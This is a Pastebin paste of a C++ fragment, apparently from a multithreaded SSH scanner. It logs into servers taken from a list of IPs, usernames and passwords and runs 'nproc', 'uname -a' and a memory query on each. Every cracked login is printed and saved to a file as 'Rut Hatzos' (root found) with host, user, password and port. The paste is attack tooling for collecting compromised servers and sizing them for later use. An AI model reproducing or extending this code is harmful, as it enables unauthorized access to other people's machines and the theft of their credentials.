Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //---CPU---
- char bufferCPU[1024];
- unsigned int nbytesCPU;
- channel = ssh_channel_new(session);
- if (channel == NULL)
- {
- //cout << VPS[cThread].ip << VPS[cThread].user << VPS[cThread].pass << endl;
- free_channel(channel);
- free_session(session);
- q.push(VPS[cThread].nrThread);
- cout << "segf4\n";
- pthread_exit(NULL);
- return NULL;
- }
- rc = ssh_channel_open_session(channel);
- if (rc != SSH_OK)
- {
- //cout << VPS[cThread].ip << VPS[cThread].user << VPS[cThread].pass << endl;
- free_channel(channel);
- free_session(session);
- q.push(VPS[cThread].nrThread);
- cout << "segf5\n";
- return NULL;
- }
- rc = ssh_channel_request_exec(channel, "nproc");
- if (rc != SSH_OK) error(session);
- nbytesCPU = ssh_channel_read(channel, bufferCPU, sizeof(bufferCPU), 0);
- free_channel(channel);
- //---------
- //---RAM---
- char bufferRAM[1024];
- unsigned int nbytesRAM;
- channel = ssh_channel_new(session);
- if (channel == NULL)
- {
- //cout << VPS[cThread].ip << VPS[cThread].user << VPS[cThread].pass << endl;
- free_channel(channel);
- free_session(session);
- q.push(VPS[cThread].nrThread);
- cout << "segf6\n";
- return NULL;
- }
- rc = ssh_channel_open_session(channel);
- if (rc != SSH_OK)
- {
- //cout << VPS[cThread].ip << VPS[cThread].user << VPS[cThread].pass << endl;
- free_channel(channel);
- free_session(session);
- q.push(VPS[cThread].nrThread);
- return NULL;
- }*/
- //rc = ssh_channel_request_exec(channel, "grep -m 1 'MemTotal' /proc/meminfo | cut -d: -f2 | sed -e 's/^ *//' | sed -e 's/$//'");
- if (rc != SSH_OK) error(session);
- nbytesRAM = ssh_channel_read(channel, bufferRAM, sizeof(bufferRAM), 0);
- free_channel(channel);
- //-------
- //---uname -a------
- char bufferUNAME[1024];
- unsigned int nbytesUNAME;
- channel = ssh_channel_new(session);
- if (channel == NULL)
- {
- //cout << VPS[cThread].ip << VPS[cThread].user << VPS[cThread].pass << endl;
- free_channel(channel);
- free_session(session);
- q.push(VPS[cThread].nrThread);
- return NULL;
- }
- rc = ssh_channel_open_session(channel);
- if (rc != SSH_OK)
- {
- //cout << VPS[cThread].ip << VPS[cThread].user << VPS[cThread].pass << endl;
- free_channel(channel);
- free_session(session);
- q.push(VPS[cThread].nrThread);
- return NULL;
- }
- rc = ssh_channel_request_exec(channel, "uname -a");
- if (rc != SSH_OK) error(session);
- nbytesUNAME = ssh_channel_read(channel, bufferUNAME, sizeof(bufferUNAME), 0);
- free_channel(channel);
- //-----------------
- free_session(session);
- cout << red << "-->Rut Hatzos: " << VPS[cThread].ip << "@" << VPS[cThread].user << ":" << VPS[cThread].pass << " port:" << VPS[cThread].port << endl;
- cout << "Uname: ";
- fwrite(bufferUNAME, 1, nbytesUNAME, stdout);
- cout << "Number of CPU: ";
- fwrite(bufferCPU, 1, nbytesCPU, stdout);
- cout << "RAM: ";
- fwrite(bufferRAM, 1, nbytesRAM, stdout);
- cout << yellow;
- gasite_fout << "-->Rut Hatzos: " << VPS[cThread].ip << "@" << VPS[cThread].user << ":" << VPS[cThread].pass << " port:" << VPS[cThread].port << " ";
- gasite_fout << bufferUNAME;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement